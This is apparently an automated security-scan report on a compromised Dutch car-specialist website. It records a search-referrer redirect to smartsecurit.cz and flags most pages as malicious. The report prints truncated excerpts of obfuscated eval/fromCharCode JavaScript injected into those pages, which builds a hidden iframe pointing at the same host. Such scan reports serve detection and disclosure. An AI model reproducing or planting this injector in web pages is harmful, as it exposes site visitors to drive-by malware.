Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://mbspecialisten.nl/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: mbspecialisten.nl Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 301 Moved Permanently Connection: close Date: Tue, 24 Jun 2014 17:14:06 GMT Location: http://smartsecurit.cz/traf.php Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.23 Content-Length: 239 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://mbspecialisten.nl/ | 200 OK Content-Length: 33002 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://sites.autodealers.nl/js/jquery.min.js | 200 OK Content-Length: 93868 Content-Type: application/x-javascript | clean |
http://sites.autodealers.nl/js/cms.autodealers.min.js | 200 OK Content-Length: 23621 Content-Type: application/x-javascript | clean |
http://mbspecialisten.nl/static/js/uitschuifMenu2.js | 200 OK Content-Length: 5100 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["\x62ody"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6c,6f,62,67,67,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6c,6f,62,67,67,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,2 Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/index | 200 OK Content-Length: 33002 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/inloggen | 200 OK Content-Length: 33002 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/sitemap | 200 OK Content-Length: 26925 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/contact | 200 OK Content-Length: 26657 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/ | 200 OK Content-Length: 33002 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/nieuws | 200 OK Content-Length: 31986 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/specialisten | 200 OK Content-Length: 32786 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/bestuur | 200 OK Content-Length: 25983 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/disclaimer | 200 OK Content-Length: 26653 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/occasions | 200 OK Content-Length: 11724 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
| ||
http://mbspecialisten.nl/welcome/verl_garantie | 200 OK Content-Length: 27077 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["body"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6a,64,58,69,6b,6a,5c,5a,6c,69,60,6b,25,5a,71,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,5b, Antivirus reports:
|
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=mbspecialisten.nl
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://mbspecialisten.nl/
Result: mbspecialisten.nl is not infected or malware details are not published yet.
Result: mbspecialisten.nl is not infected or malware details are not published yet.